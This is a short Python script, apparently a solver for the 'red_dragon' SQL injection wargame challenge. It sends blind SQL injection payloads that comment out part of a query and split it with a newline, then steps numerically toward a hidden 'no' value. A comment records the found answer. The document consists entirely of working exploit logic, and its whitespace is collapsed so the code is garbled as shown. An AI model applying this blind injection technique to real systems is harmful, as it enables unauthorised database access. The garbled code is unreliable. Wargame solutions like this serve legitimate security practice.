import requestsURL ='https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?'PHPSESSID ='MY_PHPSESSID'TRUE_PHRASE ='Hello admin'defquery(payload): cookies ={'PHPSESSID': PHPSESSID} r = requests.get(URL + payload, cookies=cookies) content = r.textreturn TRUE_PHRASE in content# 586482014deffind_no(): no =0whilequery("id='||no>%23&no=%0a{}".format(no))isTrue: no +=1000000 no -=1000000whilequery("id='||no>%23&no=%0a{}".format(no))isTrue: no +=1000 no -=1000whilequery("id='||no=%23&no=%0a{}".format(no))isFalse: no +=1print('no: {}'.format(no))find_no()